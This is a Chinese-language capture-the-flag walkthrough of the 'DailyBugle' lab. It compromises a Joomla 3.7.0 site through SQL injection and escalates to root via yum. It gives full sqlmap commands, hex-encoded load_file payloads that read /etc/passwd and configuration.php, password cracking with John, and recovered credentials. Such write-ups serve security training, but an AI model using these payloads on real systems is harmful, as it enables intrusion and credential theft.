Offensive Pentesting-DailyBugle
Offensive Pentesting-DailyBugle
Compromise a Joomla CMS account via SQLi, practise cracking hashes and escalate your privileges by taking advantage of yum.
通过 SQLi 入侵 Joomla CMS 帐户,练习破解哈希并利用 yum 提升您的权限。
信息搜集
nmap -T4 -sC -sV --script=vuln 10.10.46.209
开放22 80 3306端口 其中80端口开放的网站服务是使用joomla框架搭建的
whatweb看一下 没啥有用的
joomla框架的话 用joomlascan扫一下 找到版本为3.7.0
What is the Joomla version?
3.7.0
然后访问一下网页 看到一则银行被抢劫的新闻 作案人是SpiderMan
Access the web server, who robbed the bank?
SpiderMan
其实在前面我们使用Joomlascan来扫描的时候 可以发现扫到了一个admin page
[+] admin finder
[++] Admin page : http://10.10.46.209//administrator
访问一下 发现是后台登陆页面
到这里 信息搜集基本可以结束
Joomla3.7.0sql注入漏洞获取用户登陆密码
类似的做法我们在DC-3中已经见过 使用sqlmap就可以做到
直接看用法
Using Sqlmap:
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
上结果 查到表
sqlmap -u "http://10.10.46.209/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
[*] information_schema
[*] joomla
[*] mysql
[*] performance_schema
[*] test
继续在joomla数据库中注出数据表 我们这里需要的是#__users
表
sqlmap -u "http://10.10.46.209/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomla --tables -p list[fullordering]
在表中注出字段
sqlmap -u "http://10.10.46.209/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomla -T '#__users' --columns -p list[fullordering]
我们需要的是username和password字段的值
注出其中的值
sqlmap -u "http://10.10.46.209/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomla -T '#__users' -C "username,password" --dump -p list[fullordering]
john爆破出jonah用户的密码明文
下面使用john来进行爆破
echo $2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm >hash1.txt
john --wordlist=rockyou.txt --user=jonah hash1.txt
爆破出是spiderman123
使用jonah/spiderman123成功登陆网站后台
靶机shell
任意文件读取(一个小利用 但是在这里不是很方便)
其实joomla3.7.0也是可以利用sqli进行任意文件读取的 这里放几个payload 将想读的文件的绝对路径转hex就行
正常读 读第一行
/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,load_file(0x2f6574632f706173737764)),1)
读正数第N行
/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,substring_index(substring_index(load_file(0x2f6574632f706173737764),0x0a,N),0x0a,-1)),1)
读倒数第N行(因为他这个情况下只能显示出来一行)
/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,substring_index(substring_index(load_file(0x2f6574632f706173737764),0x0a,-N+1),0x0a,1)),1)
这里成功读到倒数第三行的靶机中另一个用户
后面还可以继续读/var/www/html/configuration.php
这里面有jjameson用户的登陆密码 再通过ssh的方式拿到shell 但是这里文件读取有行数和每行字数的限制 都不全 所以也不行
另外其实msfconsole上也有利用方式 但是不知道为什么怎么都连不上去
这个方式我们在DC-3的时候是可以成功利用的
sql注入读文件拿到登陆密码
sqlmap -u "http://10.10.67.113/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --dbms mysql --technique E --file-read /var/www/html/configuration.php --batch
nv5uz9r3ZEDzVjNu
直接ssh连
ssh jjameson@10.10.67.113
修改模板代码进行反弹shell
yum提权
先看suid
find / -type f -perm -u=s 2>/dev/null
有su和sudo 但是很可惜这里用不了
再看有root权限的命令
sudo -l
发现yum可以
直接在GTFOBins上面 找到利用方法
照着打就行
考点
1.Joomla3.7.0 sql注入拿到后台登陆密码
2.修改模板代码反弹shell
3.sql注入拿用户密码
4.yum提权